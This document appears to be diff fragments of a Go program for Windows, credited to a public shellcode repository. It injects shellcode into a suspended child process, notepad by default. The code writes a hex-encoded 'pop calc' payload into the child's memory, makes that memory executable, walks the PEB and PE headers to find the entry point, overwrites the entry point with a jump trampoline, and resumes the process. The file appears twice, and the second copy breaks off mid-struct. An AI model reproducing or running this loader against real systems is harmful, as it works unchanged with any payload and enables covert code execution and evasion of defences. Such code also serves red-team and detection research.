// 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated)
if Signature != 17744 {
log.Fatal("[!]PE Signature string was not PE")
}
// Read the child process's PE file header
/*
typedef struct _IMAGE_FILE_HEADER {
USHORT Machine;
USHORT NumberOfSections;
ULONG TimeDateStamp;
ULONG PointerToSymbolTable;
ULONG NumberOfSymbols;
USHORT SizeOfOptionalHeader;
USHORT Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
*/
type IMAGE_FILE_HEADER struct {
Machine uint16
NumberOfSections uint16
TimeDateStamp uint32
PointerToSymbolTable uint32
NumberOfSymbols uint32
SizeOfOptionalHeader uint16
Characteristics uint16
}
if *debug {
fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_FILE_HEADER...")
}
var peHeader IMAGE_FILE_HEADER
var readBytes4 int32
_, _, errReadProcessMemory4 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&peHeader)), unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&readBytes4)))
if errReadProcessMemory4 != nil && errReadProcessMemory4.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory4.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_FILE_HEADER", readBytes4))
switch peHeader.Machine {
case 34404: // 0x8664
fmt.Println("[-]Machine type: IMAGE_FILE_MACHINE_AMD64 (x64)")
case 332: // 0x14c
fmt.Println("[-]Machine type: IMAGE_FILE_MACHINE_I386 (x86)")
default:
fmt.Println(fmt.Sprintf("[-]Machine type UNKOWN: 0x%x", peHeader.Machine))
}
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_FILE_HEADER: %+v", peHeader))
fmt.Println(fmt.Sprintf("[DEBUG]Machine: 0x%x", peHeader.Machine))
}
// Read the child process's PE optional header to find it's entry point
/*
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header64
typedef struct _IMAGE_OPTIONAL_HEADER64 {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
ULONGLONG ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
ULONGLONG SizeOfStackReserve;
ULONGLONG SizeOfStackCommit;
ULONGLONG SizeOfHeapReserve;
ULONGLONG SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;
*/
type IMAGE_OPTIONAL_HEADER64 struct {
Magic uint16
MajorLinkerVersion byte
MinorLinkerVersion byte
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory uintptr
}
/*
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32
typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
*/
type IMAGE_OPTIONAL_HEADER32 struct {
Magic uint16
MajorLinkerVersion byte
MinorLinkerVersion byte
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
BaseOfData uint32 // Different from 64 bit header
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory uintptr
}
if *debug {
fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_OPTIONAL_HEADER...")
}
var optHeader64 IMAGE_OPTIONAL_HEADER64
var optHeader32 IMAGE_OPTIONAL_HEADER32
var errReadProcessMemory5 error
var readBytes5 int32
if peHeader.Machine == 34404 { // 0x8664
_, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader64)), unsafe.Sizeof(optHeader64), uintptr(unsafe.Pointer(&readBytes5)))
} else if peHeader.Machine == 332 { // 0x14c
_, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader32)), unsafe.Sizeof(optHeader32), uintptr(unsafe.Pointer(&readBytes5)))
} else {
log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
if errReadProcessMemory5 != nil && errReadProcessMemory5.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory5.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_OPTIONAL_HEADER", readBytes5))
}
if *debug {
if peHeader.Machine == 332 { // 0x14c
fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_OPTIONAL_HEADER32: %+v", optHeader32))
fmt.Println(fmt.Sprintf("\t[DEBUG]ImageBase: 0x%x", optHeader32.ImageBase))
fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (relative): 0x%x", optHeader32.AddressOfEntryPoint))
fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (absolute): 0x%x", peb.ImageBaseAddress+uintptr(optHeader32.AddressOfEntryPoint)))
}
if peHeader.Machine == 34404 { // 0x8664
fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_OPTIONAL_HEADER64: %+v", optHeader64))
fmt.Println(fmt.Sprintf("\t[DEBUG]ImageBase: 0x%x", optHeader64.ImageBase))
fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (relative): 0x%x", optHeader64.AddressOfEntryPoint))
fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (absolute): 0x%x", peb.ImageBaseAddress+uintptr(optHeader64.AddressOfEntryPoint)))
}
}
// Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it
var ep uintptr
if peHeader.Machine == 34404 { // 0x8664 x64
ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
} else if peHeader.Machine == 332 { // 0x14c x86
ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
} else {
log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
var epBuffer []byte
var shellcodeAddressBuffer []byte
// x86 - 0xb8 = mov eax
// x64 - 0x48 = rex (declare 64bit); 0xb8 = mov eax
if peHeader.Machine == 34404 { // 0x8664 x64
epBuffer = append(epBuffer, byte(0x48))
epBuffer = append(epBuffer, byte(0xb8))
shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address
binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
} else if peHeader.Machine == 332 { // 0x14c x86
epBuffer = append(epBuffer, byte(0xb8))
shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
} else {
log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
// 0xff ; 0xe0 = jmp [r|e]ax
epBuffer = append(epBuffer, byte(0xff))
epBuffer = append(epBuffer, byte(0xe0))
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory to overwrite AddressofEntryPoint at 0x%x with trampoline: 0x%x...", ep, epBuffer))
}
_, _, errWriteProcessMemory2 := WriteProcessMemory.Call(uintptr(procInfo.Process), ep, uintptr(unsafe.Pointer(&epBuffer[0])), uintptr(len(epBuffer)))
if errWriteProcessMemory2 != nil && errWriteProcessMemory2.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory2.Error()))
}
if *verbose {
fmt.Println("[-]Successfully overwrote the AddressofEntryPoint")
}
// Resume the child process
if *debug {
fmt.Println("[DEBUG]Calling ResumeThread...")
}
_, errResumeThread := windows.ResumeThread(procInfo.Thread)
if errResumeThread != nil {
log.Fatal(fmt.Sprintf("[!]Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
}
if *verbose {
fmt.Println("[+]Process resumed and shellcode executed")
}
// Close the handle to the child process
if *debug {
fmt.Println("[DEBUG]Calling CloseHandle on child process...")
}
errCloseProcHandle := windows.CloseHandle(procInfo.Process)
if errCloseProcHandle != nil {
log.Fatal(fmt.Sprintf("[!]Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
}
// Close the hand to the child process thread
if *debug {
fmt.Println("[DEBUG]Calling CloseHandle on child process thread...")
}
errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
if errCloseThreadHandle != nil {
log.Fatal(fmt.Sprintf("[!]Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
}
}
// export GOOS=windows GOARCH=amd64;go build -o goCreateProcess.exe ./CreateProcess.go
// test STDERR go run ./CreateProcess.go -verbose -debug -program "C:\Windows\System32\cmd.exe" -args "/c whoami /asdfasdf"
@@ -0,0 +1,755 @@
//go:build windows
// +build windows
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/CreateProcessWithPipe/main.go
package main
import (
"encoding/binary"
"encoding/hex"
"flag"
"fmt"
"log"
"os"
"syscall"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
program := flag.String("program", "C:\\Windows\\System32\\notepad.exe", "The program to start and inject shellcode into")
args := flag.String("args", "", "Program command line arguments")
flag.Usage = func() {
flag.PrintDefaults()
os.Exit(0)
}
flag.Parse()
// Pop Calc Shellcode
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}
if *debug {
fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll...")
}
// Load DLLs and Procedures
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
if *debug {
fmt.Println("[DEBUG]Loading supporting procedures...")
}
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
// Create anonymous pipe for STDIN
// TODO I don't think I need this for anything
var stdInRead windows.Handle
var stdInWrite windows.Handle
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling CreatePipe for STDIN..."))
}
errStdInPipe := windows.CreatePipe(&stdInRead, &stdInWrite, &windows.SecurityAttributes{InheritHandle: 1}, 0)
if errStdInPipe != nil {
log.Fatal(fmt.Sprintf("[!]Error creating the STDIN pipe:\r\n%s", errStdInPipe.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully created STDIN pipe"))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]STDIN pipe read handle %v", stdInRead))
fmt.Println(fmt.Sprintf("[DEBUG]STDIN pipe write handle %v", stdInWrite))
}
// Create anonymous pipe for STDOUT
var stdOutRead windows.Handle
var stdOutWrite windows.Handle
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling CreatePipe for STDOUT..."))
}
errStdOutPipe := windows.CreatePipe(&stdOutRead, &stdOutWrite, &windows.SecurityAttributes{InheritHandle: 1}, 0)
if errStdOutPipe != nil {
log.Fatal(fmt.Sprintf("[!]Error creating the STDOUT pipe:\r\n%s", errStdOutPipe.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully created STDOUT pipe"))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]STDOUT pipe read handle %v", stdOutRead))
fmt.Println(fmt.Sprintf("[DEBUG]STDOUT pipe write handle %v", stdOutWrite))
}
// Create anonymous pipe for STDERR
var stdErrRead windows.Handle
var stdErrWrite windows.Handle
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling CreatePipe for STDERR..."))
}
errStdErrPipe := windows.CreatePipe(&stdErrRead, &stdErrWrite, &windows.SecurityAttributes{InheritHandle: 1}, 0)
if errStdErrPipe != nil {
log.Fatal(fmt.Sprintf("[!]Error creating the STDERR pipe:\r\n%s", errStdErrPipe.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully created STDERR pipe"))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]STDERR pipe read handle %v", stdErrRead))
fmt.Println(fmt.Sprintf("[DEBUG]STDOUT pipe write handle %v", stdErrWrite))
}
// Create child proccess in suspended state
/*
BOOL CreateProcessW(
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
*/
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling CreateProcess to start:\r\n\t%s %s...", *program, *args))
}
procInfo := &windows.ProcessInformation{}
startupInfo := &windows.StartupInfo{
StdInput: stdInRead,
StdOutput: stdOutWrite,
StdErr: stdErrWrite,
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
ShowWindow: 1,
}
errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
if errCreateProcess != nil && errCreateProcess.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling CreateProcess:\r\n%s", errCreateProcess.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully created the %s prcoess in PID %d", *program, procInfo.ProcessId))
}
// Allocate memory in child process
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", procInfo.ProcessId))
}
addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
if addr == 0 {
log.Fatal("[!]VirtualAllocEx failed and returned 0")
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", procInfo.ProcessId))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Shellcode address: 0x%x", addr))
}
// Write shellcode into child process memory
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", procInfo.ProcessId))
}
_, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully wrote %d shellcode bytes to PID %d", len(shellcode), procInfo.ProcessId))
}
// Change memory permissions to RX in child process where shellcode was written
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", procInfo.ProcessId))
}
oldProtect := windows.PAGE_READWRITE
_, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully changed memory permissions to PAGE_EXECUTE_READ in PID %d", procInfo.ProcessId))
}
// Query the child process and find its image base address from its Process Environment Block (PEB)
// https://github.com/winlabs/gowin32/blob/0b6f3bef0b7501b26caaecab8d52b09813224373/wrappers/winternl.go#L37
// http://bytepointer.com/resources/tebpeb32.htm
// https://www.nirsoft.net/kernel_struct/vista/PEB.html
type PEB struct {
//reserved1 [2]byte // BYTE 0-1
InheritedAddressSpace byte // BYTE 0
ReadImageFileExecOptions byte // BYTE 1
BeingDebugged byte // BYTE 2
reserved2 [1]byte // BYTE 3
// ImageUsesLargePages : 1; //0x0003:0 (WS03_SP1+)
// IsProtectedProcess : 1; //0x0003:1 (Vista+)
// IsLegacyProcess : 1; //0x0003:2 (Vista+)
// IsImageDynamicallyRelocated : 1; //0x0003:3 (Vista+)
// SkipPatchingUser32Forwarders : 1; //0x0003:4 (Vista_SP1+)
// IsPackagedProcess : 1; //0x0003:5 (Win8_BETA+)
// IsAppContainer : 1; //0x0003:6 (Win8_RTM+)
// SpareBit : 1; //0x0003:7
//reserved3 [2]uintptr // PVOID BYTE 4-8
Mutant uintptr // BYTE 4
ImageBaseAddress uintptr // BYTE 8
Ldr uintptr // PPEB_LDR_DATA
ProcessParameters uintptr // PRTL_USER_PROCESS_PARAMETERS
reserved4 [3]uintptr // PVOID
AtlThunkSListPtr uintptr // PVOID
reserved5 uintptr // PVOID
reserved6 uint32 // ULONG
reserved7 uintptr // PVOID
reserved8 uint32 // ULONG
AtlThunkSListPtr32 uint32 // ULONG
reserved9 [45]uintptr // PVOID
reserved10 [96]byte // BYTE
PostProcessInitRoutine uintptr // PPS_POST_PROCESS_INIT_ROUTINE
reserved11 [128]byte // BYTE
reserved12 [1]uintptr // PVOID
SessionId uint32 // ULONG
}
// https://github.com/elastic/go-windows/blob/master/ntdll.go#L77
type PROCESS_BASIC_INFORMATION struct {
reserved1 uintptr // PVOID
PebBaseAddress uintptr // PPEB
reserved2 [2]uintptr // PVOID
UniqueProcessId uintptr // ULONG_PTR
InheritedFromUniqueProcessID uintptr // PVOID
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling NtQueryInformationProcess on %d...", procInfo.ProcessId))
}
var processInformation PROCESS_BASIC_INFORMATION
var returnLength uintptr
ntStatus, _, errNtQueryInformationProcess := NtQueryInformationProcess.Call(uintptr(procInfo.Process), 0, uintptr(unsafe.Pointer(&processInformation)), unsafe.Sizeof(processInformation), returnLength)
if errNtQueryInformationProcess != nil && errNtQueryInformationProcess.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling NtQueryInformationProcess:\r\n\t%s", errNtQueryInformationProcess.Error()))
}
if ntStatus != 0 {
if ntStatus == 3221225476 {
log.Fatal("[!]Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476)
}
fmt.Println(fmt.Sprintf("[!]NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus))
log.Fatal(fmt.Sprintf("[!]Error calling NtQueryInformationProcess:\r\n\t%s", syscall.Errno(ntStatus)))
}
if *verbose {
fmt.Println("[-]Got PEB info from NtQueryInformationProcess")
}
// Read from PEB base address to populate the PEB structure
// ReadProcessMemory
/*
BOOL ReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesRead
);
*/
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
if *debug {
fmt.Println("[DEBUG]Calling ReadProcessMemory for PEB...")
}
var peb PEB
var readBytes int32
_, _, errReadProcessMemory := ReadProcessMemory.Call(uintptr(procInfo.Process), processInformation.PebBaseAddress, uintptr(unsafe.Pointer(&peb)), unsafe.Sizeof(peb), uintptr(unsafe.Pointer(&readBytes)))
if errReadProcessMemory != nil && errReadProcessMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for PEB", readBytes))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]PEB: %+v", peb))
fmt.Println(fmt.Sprintf("[DEBUG]PEB ImageBaseAddress: 0x%x", peb.ImageBaseAddress))
}
// Read the child program's DOS header and validate it is a MZ executable
type IMAGE_DOS_HEADER struct {
Magic uint16 // USHORT Magic number
Cblp uint16 // USHORT Bytes on last page of file
Cp uint16 // USHORT Pages in file
Crlc uint16 // USHORT Relocations
Cparhdr uint16 // USHORT Size of header in paragraphs
MinAlloc uint16 // USHORT Minimum extra paragraphs needed
MaxAlloc uint16 // USHORT Maximum extra paragraphs needed
SS uint16 // USHORT Initial (relative) SS value
SP uint16 // USHORT Initial SP value
CSum uint16 // USHORT Checksum
IP uint16 // USHORT Initial IP value
CS uint16 // USHORT Initial (relative) CS value
LfaRlc uint16 // USHORT File address of relocation table
Ovno uint16 // USHORT Overlay number
Res [4]uint16 // USHORT Reserved words
OEMID uint16 // USHORT OEM identifier (for e_oeminfo)
OEMInfo uint16 // USHORT OEM information; e_oemid specific
Res2 [10]uint16 // USHORT Reserved words
LfaNew int32 // LONG File address of new exe header
}
if *debug {
fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_DOS_HEADER...")
}
var dosHeader IMAGE_DOS_HEADER
var readBytes2 int32
_, _, errReadProcessMemory2 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress, uintptr(unsafe.Pointer(&dosHeader)), unsafe.Sizeof(dosHeader), uintptr(unsafe.Pointer(&readBytes2)))
if errReadProcessMemory2 != nil && errReadProcessMemory2.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory2.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_DOS_HEADER", readBytes2))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_DOS_HEADER: %+v", dosHeader))
fmt.Println(fmt.Sprintf("[DEBUG]Magic: %s", string(dosHeader.Magic&0xff)+string(dosHeader.Magic>>8))) // LittleEndian
fmt.Println(fmt.Sprintf("[DEBUG]PE header offset: 0x%x", dosHeader.LfaNew))
}
// 23117 is the LittleEndian unsigned base10 representation of MZ
// 0x5a4d is the LittleEndian unsigned base16 represenation of MZ
if dosHeader.Magic != 23117 {
log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ"))
}
// Read the child process's PE header signature to validate it is a PE
if *debug {
fmt.Println("[DEBUG]Calling ReadProcessMemory for PE Signature...")
}
var Signature uint32
var readBytes3 int32
_, _, errReadProcessMemory3 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew), uintptr(unsafe.Pointer(&Signature)), unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&readBytes3)))
if errReadProcessMemory3 != nil && errReadProcessMemory3.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory3.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for PE Signature", readBytes3))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEUBG]PE Signature: 0x%x", Signature))
}
// 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated)
// 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated)
if Signature != 17744 {
log.Fatal("[!]PE Signature string was not PE")
}
// Read the child process's PE file header
/*
typedef struct _IMAGE_FILE_HEADER {
USHORT Machine;
USHORT NumberOfSections;
ULONG TimeDateStamp;
ULONG PointerToSymbolTable;
ULONG NumberOfSymbols;
USHORT SizeOfOptionalHeader;
USHORT Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
*/
type IMAGE_FILE_HEADER struct {
Machine uint16
NumberOfSections uint16
TimeDateStamp uint32
PointerToSymbolTable uint32
NumberOfSymbols uint32
SizeOfOptionalHeader uint16
Characteristics uint16
}
if *debug {
fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_FILE_HEADER...")
}
var peHeader IMAGE_FILE_HEADER
var readBytes4 int32
_, _, errReadProcessMemory4 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&peHeader)), unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&readBytes4)))
if errReadProcessMemory4 != nil && errReadProcessMemory4.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory4.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_FILE_HEADER", readBytes4))
switch peHeader.Machine {
case 34404: // 0x8664
fmt.Println("[-]Machine type: IMAGE_FILE_MACHINE_AMD64 (x64)")
case 332: // 0x14c
fmt.Println("[-]Machine type: IMAGE_FILE_MACHINE_I386 (x86)")
default:
fmt.Println(fmt.Sprintf("[-]Machine type UNKOWN: 0x%x", peHeader.Machine))
}
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_FILE_HEADER: %+v", peHeader))
fmt.Println(fmt.Sprintf("[DEBUG]Machine: 0x%x", peHeader.Machine))
}
// Read the child process's PE optional header to find it's entry point
/*
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header64
typedef struct _IMAGE_OPTIONAL_HEADER64 {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
ULONGLONG ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
